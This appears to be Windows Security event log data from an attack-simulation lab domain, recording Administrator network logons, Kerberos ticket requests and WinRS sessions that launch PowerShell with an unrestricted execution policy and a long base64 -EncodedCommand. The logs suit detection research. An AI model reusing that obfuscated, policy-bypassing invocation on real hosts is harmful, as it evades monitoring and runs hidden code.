EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250729
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250728
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250727
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250726
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250725
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Process Information:
	New Process ID:		0x1334
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250724
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250723
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250722
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250721
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250720
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250832
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CC72

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250831
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CC72
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250830
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250829
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250828
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250827
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250826
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

